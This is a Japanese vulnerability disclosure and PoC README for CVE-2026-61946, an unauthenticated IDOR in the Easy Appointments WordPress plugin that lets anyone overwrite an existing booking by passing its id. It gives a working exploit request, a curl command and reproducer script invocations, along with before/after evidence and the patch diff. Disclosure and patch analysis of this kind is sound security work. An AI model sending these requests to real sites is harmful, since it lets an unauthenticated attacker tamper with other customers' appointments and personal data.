
CVE-2026-61946: Easy Appointments <= 3.12.27 における未認証のIDOR
私は、WordPressプラグインEasy Appointmentsに、認証なしの安全でないダイレクトオブジェクト参照(IDOR)を発見しました。公開予約エンドポイントはクエリ文字列からidを受け入れ、その結果のデータをプラグインのデータベースreplace()パスに渡していました。
つまり、新しい公開予約リクエストは、既存の予約行の更新に変えることができました。ログイン、Cookie、WordPressアカウントは一切不要でした。他人の予約の主キーを渡し、実際に空いているスロットを選ぶと、プラグインはその予約を攻撃者が制御する顧客データと予約データで上書きしていました。
| CVE | CVE-2026-61946 |
| プラグイン | Easy Appointments |
| スラッグ | easy-appointments |
| 影響を受けるバージョン | <= 3.12.27 |
| 修正版 | 3.12.28 |
| バグ分類 | 認証なしIDOR / ユーザー制御の主キー (CWE-639) |
| 影響 | 任意の既存予約の上書き |
| CVSS | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| 報告者 | Daniel Wade |
| Patchstack PSID | 4f9c506f9f90 |
公開エンドポイントは、次のようなリクエストを受け付けていました:
GET /wp-admin/admin-ajax.php?action=ea_res_appointment&id=2&location=1&service=1&worker=1&date=2026-04-09&start=15:00&name=ATTACKER&email=evil%40hack.com&phone=666&description=PWNED HTTP/1.1
Host: target.example
id=2は信頼できないオブジェクトIDとして扱われていませんでした。影響を受けるバージョンでは、入力フィルタリングを通過し、データベースの置換パスに到達しました。行2がすでに別の顧客のものであった場合、公開リクエストは新しい行を作成する代わりに、その行を更新していました。
Before: id=2 | Jane Victim | [email protected] | confirmed | $50.00
After: id=2 | ATTACKER | [email protected] | reservation | $50.00
Easy Appointmentsは、予約ハンドラを認証されていない訪問者に公開しています:
add_action('wp_ajax_ea_res_appointment', array($this, 'ajax_res_appointment'));
add_action('wp_ajax_nopriv_ea_res_appointment', array($this, 'ajax_res_appointment'));
これは公開予約フォームでは想定どおりです。認可のバグは、その公開ハンドラ内で呼び出し元のオブジェクトキーを信頼していたことです。
脆弱なフローは次のとおりです:
unauthenticated GET
-> action=ea_res_appointment
-> $_GET['id']
-> allowed through the reservation field list
-> models->replace('ea_appointments', $data, true)
-> existing appointment row selected by primary key
-> victim booking overwritten
NonceとCAPTCHAのチェックは、指定された予約IDの所有権を確認するものではありませんでした。また、私がテストした構成ではデフォルトで無効になっていたため、リクエストにはセッション状態が一切必要ありませんでした。
エンドポイントは空き状況のチェックを行いました。しかし、それはオブジェクトの認可問題を修正するものではなく、攻撃者が有効な公開の場所、サービス、ワーカー、日付、および現在空いている時間枠を選択する必要があるというだけのことでした。
必要なもの:
1. A disposable WordPress lab running Easy Appointments <= 3.12.27
2. The ID of a lab appointment you created for testing
3. Valid location, service, and worker IDs from the public form
4. A time slot that is currently open
次に、両方の安全スイッチを有効にして、どちらかのPoCを実行します。--execute / -Execute を指定しない場合、スクリプトは送信するリクエストを表示するだけです。
PowerShell:
.\poc\reproduce.ps1 `
-Target "http://127.0.0.1" `
-AppointmentId 2 `
-Location 1 `
-Service 1 `
-Worker 1 `
-Date "2026-04-09" `
-Start "15:00" `
-AuthorizedLab `
-Execute
Bash:
./poc/reproduce.sh \
--target "http://127.0.0.1" \
--id 2 \
--location 1 \
--service 1 \
--worker 1 \
--date "2026-04-09" \
--start "15:00" \
--authorized-lab \
--execute
手動curl:
curl -i -sS -G "http://127.0.0.1/wp-admin/admin-ajax.php" \
--data-urlencode "action=ea_res_appointment" \
--data-urlencode "id=2" \
--data-urlencode "location=1" \
--data-urlencode "service=1" \
--data-urlencode "worker=1" \
--data-urlencode "date=2026-04-09" \
--data-urlencode "start=15:00" \
--data-urlencode "name=ATTACKER" \
--data-urlencode "[email protected]" \
--data-urlencode "phone=666" \
--data-urlencode "description=PWNED"
認証ヘッダーやCookieは使用されません。
この問題を再現した環境:
WordPress 6.9.4
Easy Appointments 3.12.23.1
Unauthenticated request
No cookies
Nonce disabled
CAPTCHA disabled
テストでは、ラボの被害者アカウントが所有する既存の予約行を使用しました:
id=2
name=Jane Victim
[email protected]
status=confirmed
price=$50.00
公開予約リクエストの後、同じ主キーには次の内容が含まれていました:
id=2
name=ATTACKER
[email protected]
status=reservation
price=$50.00
主キーと価格が変わらないままであったため、更新動作は明確でした。これは最初の予約にたまたま似た2つ目の予約ではなく、既存の行が置き換えられたものでした。
before/afterの証拠のコピーは、evidence/sample-before-after.txt にあります。
予約IDを知っているか推測できる認証されていない攻撃者は、その予約の顧客データとスケジュールデータを破壊できます。サイトのワークフローによっては、次の変更が含まれる可能性があります:
customer name and email
phone number
appointment description
location, service, and assigned worker
date and start time
reservation status generated by the public flow
実際の結果は、静かな予約改ざんです。正当な予約がリダイレクトされたり、置き換えられたり、破壊されたり、運用上役に立たなくなったりする可能性があります。公開フォームは、リクエストを構築するために必要な有効なスケジュール値を公開しています。
公式スコアは6.5(Medium)です:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
バージョン3.12.28のセキュリティ関連の変更は、見事なほど率直です:
foreach ($data as $key => $rem) {
if (!in_array($key, $dont_remove)) unset($data[$key]);
}
+
+unset($data['id']);
+$data['id'] = null;
unset($data['action']);
公開予約フローは、データベースオブジェクトの主キーを選択できなくなりました。リクエストは、任意の既存予約を置き換えることを許可される代わりに、新規レコードのパスに強制されます。
同じセキュリティコミットで、nonceオプションのロジックも修正されました。これは多層防御として有用ですが、nonce検証だけでは、攻撃者が指定した予約IDの所有権チェックにはなりません。クライアント制御のキーを削除することが、直接的なIDOR修正です。
抽出されたパッチはpatch/fix.diff にあります。
poc/
reproduce.ps1 # PowerShell lab reproducer
reproduce.sh # Bash/curl lab reproducer
evidence/
sample-before-after.txt # Sanitised proof of row replacement
patch/
fix.diff # Security-relevant upstream diff
README.md
| 日付 | 出来事 |
|---|---|
| 2026-04-03 | Patchstackへ報告 |
| 2026-07-07 | パッチを検証 |
| 2026-07-16 | Patchstackが脆弱性エントリを公開 |
| 2026-07-23 | CVE-2026-61946公開 |
免責事項: このPoCは、パッチ公開後の防御的な研究と検証のために公開されています。所有していないシステム、または明示的な許可を得ていないシステムに対して使用しないでください。
CVE-2026-61946 - Easy Appointments 3.12.28で修正。影響を受けるバージョン:3.12.27以前。
Daniel Wade - GitHub - Twitter/X - Bluesky - Mastodon - Medium - nadsec.online